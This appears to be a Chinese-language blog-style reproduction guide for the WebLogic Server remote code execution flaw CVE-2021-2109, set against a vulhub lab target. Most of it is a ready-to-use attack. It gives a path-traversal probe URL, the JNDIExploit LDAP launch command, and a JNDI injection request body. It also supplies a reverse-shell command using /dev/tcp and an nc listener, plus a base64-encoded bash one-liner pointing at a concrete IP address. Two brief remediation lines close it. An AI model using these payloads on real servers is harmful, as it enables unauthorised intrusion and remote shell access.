Weblogic Server远程代码执行漏洞(CVE-2021-2109)
影响版本
WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0
漏洞poc
以get方式请求http://192.168.116.133:7001/console/css/%252e%252e%252f/consolejndi.portal,出现如图结果即确定漏洞存在。
漏洞复现
靶场环境为:vulhub weblogic CVE-2020-14882
利用工具JNDIExploit-1.3-SNAPSHOT.jar
运行ldap需要java1.8环境
1、启动ldap服务 -i 后面为vps的ip地址
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i xx.xx.xx.xx
2、抓包,payload后面加入poc, 然后再在请求包头部里面加入cmd:pwd(命令) ,如下图所示:
poc如下: 注意:ldap后面的ip地址中,最后一位地址前是;不是.
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://x.x.x;x:1389/Basic/WeblogicEcho;AdminServer%22)
ldap接收到数据:
3、反弹shell
对反弹shell命令进行base64编码,x.x.x.x为vps监听地址
bash -i >& /dev/tcp/xx.xx.xx.xx/12345 0>&1
vps开启nc监听
nc -lvvp 12345
执行如下命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMTY4LjYyLjE0My8xMjM0NSAwPiYxCgo=}|{base64,-d}|{bash,-i}
将请求头中的cmd字段值修改为编码后的反弹shell命令。burp发送数据包,此时返回为空。
ldap服务不能关 要在反弹shell的同时开启ldap服务。
备注: 有时候可能出现反弹不成功,可以多试几次。
漏洞修复
1、建议用户及时将 Weblogic 后台/console/console.portal 对外的访问权限暂时关闭。
2、更新到不受该漏洞影响的版本